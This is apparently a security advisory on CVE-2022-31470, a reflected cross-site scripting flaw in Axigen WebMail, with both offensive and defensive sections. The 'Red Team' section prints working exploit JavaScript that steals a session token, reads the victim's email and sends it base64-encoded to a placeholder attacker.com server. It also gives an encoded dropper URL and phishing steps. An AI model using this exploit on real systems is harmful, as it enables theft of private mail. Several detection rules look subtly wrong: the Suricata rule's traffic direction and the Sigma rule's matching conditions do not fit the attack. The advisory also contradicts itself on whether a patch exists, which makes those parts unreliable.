CVE-2022-31470

Executive Summary

CVE-2022-31470 is a reflected Cross-Site Scripting (XSS) vulnerability affecting Axigen WebMail, a widely used enterprise email platform. The flaw exists in the index.hsp endpoint, specifically within the m parameter, and also in the index_mobile_changepass.hsp reset-password section. An attacker can craft a malicious URL containing JavaScript payloads that, when visited by an authenticated user, execute arbitrary code in the context of the victim's session. This allows the attacker to steal session cookies, access mailbox contents, and perform unauthorized actions. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and is actively exploited in the wild, with public proof-of-concept (PoC) code and a Nuclei template available. No official patch has been released by Axigen, making this a critical security concern for all deployments.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product flaw in Axigen WebMail. Organizations using Axigen should treat this as a high-priority supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - Victim must click a malicious link.
• Scope: Changed (S:C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) - Limited mailbox content exposure.
• Integrity Impact: Low (I:L) - Limited ability to modify data.
• Availability Impact: None (A:N)
• EPSS Score: 0.26012 (Percentile: 0.96298) - Indicates a moderate probability of exploitation in the wild.

Threat Level: High. Despite the medium CVSS score, the availability of public exploit code, the lack of a vendor patch, and the potential for full mailbox compromise elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS flaw. The Axigen WebMail application fails to properly sanitize or encode user-supplied input passed via the m parameter in the /index.hsp endpoint. When a user accesses a crafted URL like:

/index.hsp?m=<script>alert(document.domain)</script>

The JavaScript payload is reflected back in the HTTP response without proper encoding, causing the browser to execute it. The same issue exists in the index_mobile_changepass.hsp reset-password section.

The attack flow is as follows:

1. Attacker crafts a malicious URL: The attacker creates a URL containing a JavaScript payload in the m parameter. The payload can be a simple alert or a more complex dropper that loads external exploit code.
2. Victim clicks the link: The victim, who is already authenticated to Axigen WebMail, clicks the link (e.g., via phishing email).
3. Payload execution: The victim's browser executes the JavaScript in the context of the Axigen WebMail session.
4. Data exfiltration: The malicious script can then make API calls to the Axigen backend (e.g., /api/v1/conversations) to retrieve emails, steal session cookies, or perform actions on behalf of the victim.

The public exploit code demonstrates a sophisticated attack that:

• Extracts the _h cookie from the current session.
• Uses the Axigen API to fetch mailbox folders and emails.
• Exfiltrates the stolen data to an attacker-controlled server via a dynamically created script tag.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely directly echoes the m parameter into the HTML response without sanitization. For example:

// Vulnerable PHP-like pseudocode
$m = $_GET['m'];
echo "<div class='message'>$m</div>";

Patched Code (Expected): A patched version would properly encode the output using context-aware escaping. For example:

// Patched PHP-like pseudocode
$m = $_GET['m'];
echo "<div class='message'>" . htmlspecialchars($m, ENT_QUOTES, 'UTF-8') . "</div>";

Note: Since no official patch has been released, the above is a best-practice mitigation. Organizations must implement virtual patching or WAF rules.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Axigen WebMail instance (version <= 10.5.0-4370c946).
• A victim user with an active session.
• An attacker-controlled server to receive exfiltrated data (e.g., https://attacker.com/).

Step 1: Host the Exploit Code Create a file named exploit.js with the following content (from the Exploit-DB code):

xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new XMLHttpRequest();
oob_server = 'https://attacker.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`, true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src = `${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET', `/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src = `${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();

Step 2: Craft the Dropper URL Combine the dropper code with the vulnerable endpoint. The dropper loads the external exploit script:

/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27https://attacker.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//

Step 3: Deliver the Malicious Link Send the crafted URL to the victim via phishing email or other means.

Step 4: Collect Exfiltrated Data Monitor the attacker-controlled server for incoming requests containing the stolen emails (base64-encoded).

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /index.hsp with suspicious m parameters containing <script>, %3Cscript%3E, or other HTML/JavaScript encodings.
• Use the provided YARA, Sigma, and Suricata rules (see Detection Engineering section).
• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in the m parameter.

Hunting:

• Search for anomalous outbound connections from Axigen WebMail servers to unknown external domains.
• Review API logs for unusual PATCH requests to /api/v1/conversations/MQ/ or GET requests to /api/v1/conversations?folderId=....

Containment:

• If exploitation is suspected, immediately invalidate all active user sessions.
• Isolate the affected Axigen server and conduct forensic analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /index.hsp?m= containing encoded JavaScript payloads.
• Outbound connections to attacker-controlled servers (e.g., https://attacker.com/).
• API requests to /api/v1/conversations/MQ/ with PATCH method.
• API requests to /api/v1/conversations?folderId=... with GET method.

File IOCs:

• Presence of exploit.js or similar JavaScript files on attacker-controlled servers.
• Log entries showing base64-encoded data in URL parameters (e.g., ?status=ok&domain=...&emails=...).

Behavioral IOCs:

• Unusual spike in requests to the /index.hsp endpoint.
• Multiple failed authentication attempts followed by successful XSS exploitation.

Detection Engineering

YARA Rule

rule CVE_2022_31470_Axigen_XSS {
    meta:
        description = "Detects Axigen WebMail XSS exploit attempts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-31470"
        hash = "4a0a00473045022100fb8d1e7bef2b9ee408ca4560b91b9a5bb16b3f01cceb71b42d477ae4453eccee022033197e6e3f43fe03985b26302899db2b3a121b5aee2376fec5498db529e7cea9"
    strings:
        $xss_payload1 = "<script>alert(document.domain)</script>"
        $xss_payload2 = "xhr1.open('GET', '/', true);"
        $xss_payload3 = "oob_server = 'https://"
        $xss_payload4 = "/api/v1/conversations/MQ/"
        $xss_payload5 = "btoa(emails)"
    condition:
        any of them
}

Sigma Rule

title: Axigen WebMail Reflected XSS Exploit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the Axigen WebMail XSS vulnerability (CVE-2022-31470)
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31470
    - https://www.exploit-db.com/exploits/51722
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/index.hsp?m='
            - '/index_mobile_changepass.hsp?'
        cs-uri-query|contains|all:
            - '<script'
            - 'alert('
            - 'xhr1.open'
            - 'oob_server'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in the m parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-31470 Axigen WebMail Reflected XSS Exploit"; flow:to_server,established; content:"GET"; http_method; content:"/index.hsp"; http_uri; content:"m="; http_uri; pcre:"/<script[^>]*>.*alert\(document\.domain\)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-31470

info:
  name: Axigen WebMail - Cross-Site Scripting
  author: AmirZargham
  severity: medium
  description: |
    Axigen WebMail versions 10.5.0-4370c946 and older are vulnerable to reflected XSS via the m parameter in the /index.hsp endpoint.
  impact: |
    Attackers can craft malicious URLs with JavaScript in the m parameter that executes when users access the link, potentially stealing session cookies, credentials, or performing unauthorized actions in the victim's Axigen WebMail account.
  remediation: |
    Update Axigen WebMail to a version later than 10.5.0-4370c946 that properly sanitizes and encodes the m parameter.
  reference:
    - https://www.axigen.com/
    - https://www.exploit-db.com/exploits/51722
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31470
    cwe-id: CWE-79
    epss-score: 0.26012
    epss-percentile: 0.96298
    cpe: cpe:2.3:a:axigen:webmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: axigen
    product: webmail
    shodan-query: title:"Axigen"
    fofa-query: title="Axigen"
  tags: cve,cve2022,axigen,webmail,xss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "Axigen WebMail"
          - 'AXI-SCRIPT'
          - 'axigen-web-fonts'
          - 'AXIWMRememberLogin'
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/index.hsp?m=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests to /index.hsp and /index_mobile_changepass.hsp containing suspicious m parameters (e.g., <script>, %3Cscript%3E, onerror=, etc.).
2. Input Validation: If source code access is available, implement proper output encoding for the m parameter using htmlspecialchars() or equivalent.
3. Session Hardening: Implement HttpOnly and Secure flags on session cookies to prevent JavaScript access.
4. Content Security Policy (CSP): Deploy a strict CSP header that restricts script execution to trusted sources only.

Long-Term Fix:

• Contact Axigen support for an official patch. If unavailable, consider migrating to an alternative email platform or implementing a reverse proxy with XSS filtering.

Detection & Monitoring:

• Enable detailed logging for all web requests and API calls.
• Regularly review logs for signs of exploitation.
• Use the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.

User Awareness:

• Train users to recognize phishing emails containing suspicious links.
• Encourage users to report any unusual behavior in their email client.

Valters IT

{/* [Security Hash: A07DA10C9BAE00494088B9FC] */}